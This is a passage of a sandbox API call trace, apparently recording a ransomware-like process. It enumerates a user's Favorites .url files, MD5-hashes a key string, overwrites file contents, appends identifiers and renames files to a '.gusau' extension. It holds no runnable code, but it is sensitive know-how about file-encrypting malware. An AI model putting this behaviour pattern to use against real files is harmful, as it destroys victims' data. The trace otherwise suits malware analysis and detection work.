dwFlags=0x0, lpMem=0x39419a0 | out: hHeap=0xd10000) returned 1 [0118.287] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39419a0 [0118.287] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.287] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0118.287] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.287] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0118.287] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39419a0 | out: hHeap=0xd10000) returned 1 [0118.287] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39419a0 [0118.287] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.287] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.287] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39419a0 | out: hHeap=0xd10000) returned 1 [0118.287] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39419a0 [0118.287] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f5430 [0118.287] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0118.287] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39419a0 | out: hHeap=0xd10000) returned 1 [0118.287] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39419a0 [0118.287] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f5430 [0118.287] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0118.287] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39419a0 | out: hHeap=0xd10000) returned 1 [0118.287] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39419a0 [0118.287] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.287] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.287] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39419a0 | out: hHeap=0xd10000) returned 1 [0118.287] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39419a0 [0118.287] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.287] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.287] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39419a0 | out: hHeap=0xd10000) returned 1 [0118.287] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39419a0 [0118.287] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.287] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0118.287] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.287] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0118.287] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39419a0 | out: hHeap=0xd10000) returned 1 [0118.288] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39419a0 [0118.288] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0118.288] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.288] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39419a0 | out: hHeap=0xd10000) returned 1 [0118.288] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39419a0 [0118.288] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0118.288] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.288] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39419a0 | out: hHeap=0xd10000) returned 1 [0118.288] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39419a0 [0118.288] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.288] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.288] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39419a0 | out: hHeap=0xd10000) returned 1 [0118.288] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39419a0 [0118.288] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.288] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.288] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39419a0 | out: hHeap=0xd10000) returned 1 [0118.288] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39419a0 [0118.288] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.288] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.288] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39419a0 | out: hHeap=0xd10000) returned 1 [0118.288] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39419a0 [0118.288] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.288] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.288] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39419a0 | out: hHeap=0xd10000) returned 1 [0118.288] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39419a0 [0118.288] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.288] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.288] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39419a0 | out: hHeap=0xd10000) returned 1 [0118.288] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39419a0 [0118.288] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.288] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.288] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39419a0 | out: hHeap=0xd10000) returned 1 [0118.288] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39419a0 [0118.289] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.289] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.289] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39419a0 | out: hHeap=0xd10000) returned 1 [0118.289] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39419a0 [0118.289] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.289] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0118.289] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.289] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0118.289] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39419a0 | out: hHeap=0xd10000) returned 1 [0118.289] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39419a0 [0118.289] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.289] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.289] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39419a0 | out: hHeap=0xd10000) returned 1 [0118.289] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39419a0 [0118.289] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f5430 [0118.289] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0118.289] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39419a0 | out: hHeap=0xd10000) returned 1 [0118.289] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39419a0 [0118.289] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f5430 [0118.289] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0118.289] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39419a0 | out: hHeap=0xd10000) returned 1 [0118.289] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39419a0 [0118.289] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.289] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.289] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39419a0 | out: hHeap=0xd10000) returned 1 [0118.289] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39419a0 [0118.289] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.289] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.289] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39419a0 | out: hHeap=0xd10000) returned 1 [0118.289] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39419a0 [0118.289] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.290] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0118.290] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.290] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0118.290] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39419a0 | out: hHeap=0xd10000) returned 1 [0118.290] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39419a0 [0118.290] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0118.290] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.290] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39419a0 | out: hHeap=0xd10000) returned 1 [0118.290] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39419a0 [0118.290] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.290] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.290] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39419a0 | out: hHeap=0xd10000) returned 1 [0118.290] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39419a0 [0118.290] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.290] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.290] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39419a0 | out: hHeap=0xd10000) returned 1 [0118.290] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39419a0 [0118.290] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.290] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.290] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39419a0 | out: hHeap=0xd10000) returned 1 [0118.290] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39419a0 [0118.290] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.290] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.290] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39419a0 | out: hHeap=0xd10000) returned 1 [0118.290] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39419a0 [0118.290] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.290] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.290] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39419a0 | out: hHeap=0xd10000) returned 1 [0118.290] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39419a0 [0118.290] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\") returned="Windows Live\\" [0118.291] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0118.291] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb268 [0118.291] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39419a0 | out: hHeap=0xd10000) returned 1 [0118.291] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\") returned="Favorites\\" [0118.291] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x40) returned 0x3960e28 [0118.291] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb268 | out: hHeap=0xd10000) returned 1 [0118.291] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0118.291] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398ebf8 [0118.291] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0118.291] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0118.291] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3960e28 | out: hHeap=0xd10000) returned 1 [0118.291] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0118.291] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0118.291] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0118.291] PathFindFileNameW (pszPath="") returned="" [0118.291] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39419a0 [0118.291] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x39836e0 [0118.292] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39419a0 | out: hHeap=0xd10000) returned 1 [0118.292] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0118.292] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Get Windows Live.url", cAlternateFileName="GETWIN~1.URL")) returned 1 [0118.292] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39419a0 [0118.292] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa6) returned 0x3932798 [0118.292] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39419a0 | out: hHeap=0xd10000) returned 1 [0118.292] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Get Windows Live.url") returned=".url" [0118.292] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Get Windows Live.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\get windows live.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0118.293] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=133) returned 1 [0118.293] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0118.295] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x5f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.296] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0118.296] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398eae0 [0118.296] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0118.296] SetFilePointer (in: hFile=0x610, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0118.296] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0x85, lpOverlapped=0x0) returned 1 [0118.296] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.296] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25) returned 0x3985ac8 [0118.297] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.297] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.297] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf08b0) returned 1 [0118.297] CryptCreateHash (in: hProv=0xdf08b0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0118.297] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0118.297] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0118.297] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x11) returned 0x392a988 [0118.297] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0118.297] GetLastError () returned 0x0 [0118.298] CryptDestroyHash (hHash=0x3983720) returned 1 [0118.298] CryptReleaseContext (hProv=0xdf08b0, dwFlags=0x0) returned 1 [0118.298] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3985ac8 | out: hHeap=0xd10000) returned 1 [0118.298] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x3883e18 [0118.298] SetFilePointer (in: hFile=0x610, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0118.298] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0118.298] WriteFile (in: hFile=0x610, lpBuffer=0x3883e18*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x405fb24, lpOverlapped=0x0 | out: lpBuffer=0x3883e18*, lpNumberOfBytesWritten=0x405fb24*=0x80, lpOverlapped=0x0) returned 1 [0118.298] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3883e18 | out: hHeap=0xd10000) returned 1 [0118.298] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x85, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.298] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb268 [0118.298] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x428) returned 0x39f5430 [0118.298] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", cchWideChar=-1, lpMultiByteStr=0x39f5430, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", lpUsedDefaultChar=0x0) returned 41 [0118.298] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x430) returned 0x39f5860 [0118.298] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0118.298] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb268 | out: hHeap=0xd10000) returned 1 [0118.298] WriteFile (in: hFile=0x610, lpBuffer=0x39f5860*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x39f5860*, lpNumberOfBytesWritten=0x405fb2c*=0x28, lpOverlapped=0x0) returned 1 [0118.298] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5860 | out: hHeap=0xd10000) returned 1 [0118.298] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0118.298] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0118.298] CloseHandle (hObject=0x610) returned 1 [0118.299] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x3974060 [0118.299] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x8a0) returned 0x39f5430 [0118.299] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3974060 | out: hHeap=0xd10000) returned 1 [0118.299] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Get Windows Live.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\get windows live.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Get Windows Live.url.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\get windows live.url.gusau")) returned 1 [0118.300] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0118.300] VirtualFree (lpAddress=0xf30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0118.301] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3932798 | out: hHeap=0xd10000) returned 1 [0118.301] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Live Gallery.url", cAlternateFileName="WINDOW~2.URL")) returned 1 [0118.301] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39419a0 [0118.301] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa6) returned 0x3932798 [0118.301] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39419a0 | out: hHeap=0xd10000) returned 1 [0118.301] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Gallery.url") returned=".url" [0118.301] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Gallery.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live gallery.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0118.302] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=133) returned 1 [0118.302] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0118.304] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x5f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.304] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, 